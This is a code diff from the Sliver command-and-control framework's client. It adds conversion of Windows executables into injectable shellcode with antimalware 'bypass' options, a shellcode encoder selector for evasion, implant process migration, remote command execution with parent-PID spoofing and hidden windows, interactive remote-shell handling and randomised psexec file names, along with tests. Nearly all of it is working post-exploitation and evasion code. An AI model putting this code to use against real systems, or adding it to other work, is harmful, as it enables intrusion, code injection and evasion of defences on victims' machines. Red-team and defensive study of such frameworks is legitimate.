if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
|
||||
opts.exitOpt = int(config.ExitOpt)
|
||||
}
|
||||
if config.Bypass >= 1 && config.Bypass <= 3 {
|
||||
opts.bypass = int(config.Bypass)
|
||||
}
|
||||
if config.Headers >= 1 && config.Headers <= 2 {
|
||||
opts.headers = int(config.Headers)
|
||||
}
|
||||
opts.thread = config.Thread
|
||||
opts.unicode = config.Unicode
|
||||
if config.OEP > 0 {
|
||||
opts.oep = config.OEP
|
||||
}
|
||||
return opts
|
||||
}
|
||||
|
||||
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
|
||||
peFile, err := pe.NewFile(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
|
||||
ext := ".exe"
|
||||
if isDLL {
|
||||
ext = ".dll"
|
||||
}
|
||||
opts := normalizeExecuteShellcodeDonutConfig(config)
|
||||
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
|
||||
Ext: ext,
|
||||
Arch: getExecuteShellcodeDonutArch(arch),
|
||||
Bypass: opts.bypass,
|
||||
Headers: opts.headers,
|
||||
Entropy: opts.entropy,
|
||||
Compress: opts.compress,
|
||||
ExitOpt: opts.exitOpt,
|
||||
Thread: opts.thread,
|
||||
Unicode: opts.unicode,
|
||||
OEP: opts.oep,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return addExecuteShellcodeStackCheck(result.Loader), nil
|
||||
}
|
||||
|
||||
func getExecuteShellcodeDonutArch(arch string) int {
|
||||
donutArch := wasmdonut.DonutArchX84
|
||||
switch strings.ToLower(arch) {
|
||||
case "x32", "x86", "386":
|
||||
donutArch = wasmdonut.DonutArchX86
|
||||
case "x64", "amd64":
|
||||
donutArch = wasmdonut.DonutArchX64
|
||||
case "x84":
|
||||
donutArch = wasmdonut.DonutArchX84
|
||||
}
|
||||
return donutArch
|
||||
}
|
||||
|
||||
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
|
||||
stackCheckPrologue := []byte{
|
||||
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
|
||||
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
|
||||
}
|
||||
return append(stackCheckPrologue, shellcode...)
|
||||
}
|
||||
|
||||
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
|
||||
// Check active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -157,10 +375,25 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
|
||||
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
var rows uint32
|
||||
var cols uint32
|
||||
if !noPty {
|
||||
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
|
||||
if err != nil || rowsInt <= 0 || colsInt <= 0 {
|
||||
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
|
||||
}
|
||||
if err == nil && rowsInt > 0 && colsInt > 0 {
|
||||
rows = uint32(rowsInt)
|
||||
cols = uint32(colsInt)
|
||||
}
|
||||
}
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: hostProc,
|
||||
EnablePTY: !noPty,
|
||||
Rows: rows,
|
||||
Cols: cols,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -200,6 +433,12 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
|
||||
}
|
||||
}
|
||||
|
||||
stopPtyResize := func() {}
|
||||
if !noPty {
|
||||
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
|
||||
}
|
||||
defer stopPtyResize()
|
||||
|
||||
log.Printf("Starting stdin/stdout shell ...")
|
||||
go func() {
|
||||
n, err := io.Copy(os.Stdout, tunnel)
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
|
||||
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||
}
|
||||
if changed {
|
||||
t.Fatalf("expected changed=false with defaults")
|
||||
}
|
||||
if cfg == nil {
|
||||
t.Fatalf("expected non-nil config")
|
||||
}
|
||||
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
|
||||
t.Fatalf("unexpected defaults: %+v", cfg)
|
||||
}
|
||||
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
|
||||
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
|
||||
t.Fatalf("set shellcode-entropy: %v", err)
|
||||
}
|
||||
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
|
||||
t.Fatalf("set shellcode-compress: %v", err)
|
||||
}
|
||||
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
|
||||
t.Fatalf("set shellcode-thread: %v", err)
|
||||
}
|
||||
|
||||
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||
}
|
||||
if !changed {
|
||||
t.Fatalf("expected changed=true")
|
||||
}
|
||||
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
|
||||
t.Fatalf("unexpected changed config: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
|
||||
t.Fatalf("set shellcode-bypass: %v", err)
|
||||
}
|
||||
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
|
||||
t.Fatalf("expected validation error for shellcode-bypass")
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
path string
|
||||
flagsChanged bool
|
||||
wantConvert bool
|
||||
wantDLL bool
|
||||
}{
|
||||
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
|
||||
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
|
||||
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
|
||||
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
|
||||
}
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
|
||||
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
|
||||
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
|
||||
cmd := &cobra.Command{Use: "execute-shellcode"}
|
||||
cmd.Flags().Uint32("shellcode-entropy", 1, "")
|
||||
cmd.Flags().Bool("shellcode-compress", false, "")
|
||||
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
|
||||
cmd.Flags().Uint32("shellcode-bypass", 3, "")
|
||||
cmd.Flags().Uint32("shellcode-headers", 1, "")
|
||||
cmd.Flags().Bool("shellcode-thread", false, "")
|
||||
cmd.Flags().Bool("shellcode-unicode", false, "")
|
||||
cmd.Flags().Uint32("shellcode-oep", 0, "")
|
||||
return cmd
|
||||
}
|
||||
@@ -44,28 +44,49 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
token, _ := cmd.Flags().GetBool("token")
|
||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background, _ := cmd.Flags().GetBool("background")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
saveOutput, _ := cmd.Flags().GetBool("save")
|
||||
ppid, _ := cmd.Flags().GetUint32("ppid")
|
||||
envInheritance, _ := cmd.Flags().GetBool("env-inheritance")
|
||||
envPairs, _ := cmd.Flags().GetStringArray("env")
|
||||
envVars, err := parseEnvPairs(envPairs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := output || saveLoot || saveOutput
|
||||
if background && (saveLoot || saveOutput) {
|
||||
con.PrintErrorf("The loot and save options are not supported with --background\n")
|
||||
return
|
||||
}
|
||||
|
||||
if output && beacon != nil {
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := !background && (output || saveLoot || saveOutput)
|
||||
|
||||
if captureOutput && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.PrintInfof("Execute: %s [%s]\n", cmdPath, strings.Join(args, " "))
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token || hidden || ppid != 0 {
|
||||
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
return
|
||||
}
|
||||
if envInheritance || len(envVars) > 0 {
|
||||
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
return
|
||||
}
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
@@ -73,6 +94,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
@@ -81,12 +103,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
EnvInheritance: envInheritance,
|
||||
Env: envVars,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
@@ -141,11 +166,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background := false
|
||||
if cmd.Flags().Lookup("background") != nil {
|
||||
background, _ = cmd.Flags().GetBool("background")
|
||||
}
|
||||
if background {
|
||||
// Background execution never returns inline output.
|
||||
output = false
|
||||
}
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
if exec.Pid != 0 {
|
||||
if background {
|
||||
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
|
||||
} else {
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
con.PrintInfof("Process started\n")
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -179,6 +216,21 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func parseEnvPairs(envPairs []string) (map[string]string, error) {
|
||||
if len(envPairs) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
envVars := make(map[string]string, len(envPairs))
|
||||
for _, pair := range envPairs {
|
||||
parts := strings.SplitN(pair, "=", 2)
|
||||
if len(parts) != 2 || parts[0] == "" {
|
||||
return nil, fmt.Errorf("invalid --env value %q, expected key=value", pair)
|
||||
}
|
||||
envVars[parts[0]] = parts[1]
|
||||
}
|
||||
return envVars, nil
|
||||
}
|
||||
|
||||
func determineCommandName(command string) string {
|
||||
commandName := strings.ReplaceAll(command, "\\", "/")
|
||||
|
||||
|
||||
@@ -20,14 +20,19 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
implantName = beacon.Name
|
||||
}
|
||||
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
targetArch := config.GetGOARCH()
|
||||
if session != nil && session.Arch != "" {
|
||||
targetArch = session.Arch
|
||||
} else if beacon != nil && beacon.Arch != "" {
|
||||
targetArch = beacon.Arch
|
||||
}
|
||||
|
||||
encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeShellcodeEncoderName(name string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(name))
|
||||
normalized = strings.ReplaceAll(normalized, "-", "_")
|
||||
return normalized
|
||||
}
|
||||
|
||||
func normalizeShellcodeArch(arch string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(arch))
|
||||
switch normalized {
|
||||
case "amd64", "x64", "x86_64":
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
}
|
||||
|
||||
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, errors.New("no RPC client")
|
||||
}
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
}
|
||||
|
||||
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
|
||||
if encoderMap == nil {
|
||||
return nil
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
names := make([]string, 0, len(archMap.GetEncoders()))
|
||||
for name := range archMap.GetEncoders() {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
|
||||
if encoderMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
name = normalizeShellcodeEncoderName(name)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
encoder, ok := archMap.GetEncoders()[name]
|
||||
return encoder, ok
|
||||
}
|
||||
|
||||
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
|
||||
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
|
||||
rawEncoder = strings.TrimSpace(rawEncoder)
|
||||
|
||||
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
|
||||
}
|
||||
|
||||
normalized := normalizeShellcodeEncoderName(rawEncoder)
|
||||
if normalized == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
|
||||
// If no encoder specified, prompt for a compatible encoder (or none).
|
||||
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
// No known compatible encoders for this arch.
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
options := append([]string{"none"}, compatible...)
|
||||
choice := "none"
|
||||
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
if normalizeShellcodeEncoderName(choice) == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
|
||||
if !ok {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
|
||||
// Encoder explicitly specified by name.
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
|
||||
if !ok {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
@@ -21,7 +21,6 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -32,6 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -175,8 +175,8 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
func randomString() string {
|
||||
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
str := ""
|
||||
for index := 0; index < insecureRand.Intn(8)+1; index++ {
|
||||
str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
for index := 0; index < util.Intn(8)+1; index++ {
|
||||
str += string(alphanumeric[util.Intn(len(alphanumeric))])
|
||||
}
|
||||
return str
|
||||
}
|
||||
@@ -184,7 +184,7 @@ func randomString() string {
|
||||
func randomFileName() string {
|
||||
noun := randomString()
|
||||
noun = strings.ToLower(noun)
|
||||
switch insecureRand.Intn(3) {
|
||||
switch util.Intn(3) {
|
||||
case 0:
|
||||
noun = strings.ToUpper(noun)
|
||||
case 1:
|
||||
@@ -192,16 +192,16 @@ func randomFileName() string {
|
||||
}
|
||||
|
||||
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
|
||||
sep := separators[insecureRand.Intn(len(separators))]
|
||||
sep := separators[util.Intn(len(separators))]
|
||||
|
||||
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
prefix := ""
|
||||
for index := 0; index < insecureRand.Intn(3); index++ {
|
||||
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
for index := 0; index < util.Intn(3); index++ {
|
||||
prefix += string(alphanumeric[util.Intn(len(alphanumeric))])
|
||||
}
|
||||
suffix := ""
|
||||
for index := 0; index < insecureRand.Intn(6)+1; index++ {
|
||||
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
for index := 0; index < util.Intn(6)+1; index++ {
|
||||
suffix += string(alphanumeric[util.Intn(len(alphanumeric))])
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
//go:build !windows
|
||||
|
||||
package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"os/signal"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
)
|
||||
|
||||
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stdoutFd := int(os.Stdout.Fd())
|
||||
stdinFd := int(os.Stdin.Fd())
|
||||
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGWINCH)
|
||||
|
||||
stopCh := make(chan struct{})
|
||||
doneCh := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
lastCols, lastRows := -1, -1
|
||||
send := func() bool {
|
||||
cols, rows, err := term.GetSize(stdoutFd)
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
cols, rows, err = term.GetSize(stdinFd)
|
||||
}
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
return true
|
||||
}
|
||||
if cols == lastCols && rows == lastRows {
|
||||
return true
|
||||
}
|
||||
lastCols, lastRows = cols, rows
|
||||
|
||||
req := con.ActiveTarget.Request(cmd)
|
||||
if req == nil {
|
||||
return false
|
||||
}
|
||||
req.Timeout = int64(2 * time.Second)
|
||||
|
||||
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
|
||||
Request: req,
|
||||
TunnelID: tunnelID,
|
||||
Rows: uint32(rows),
|
||||
Cols: uint32(cols),
|
||||
})
|
||||
if status.Code(err) == codes.Unimplemented {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stopCh:
|
||||
return
|
||||
case <-sigCh:
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
signal.Stop(sigCh)
|
||||
close(stopCh)
|
||||
<-doneCh
|
||||
})
|
||||
}
|
||||
}
|
||||
Loaded 100 of 9577 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user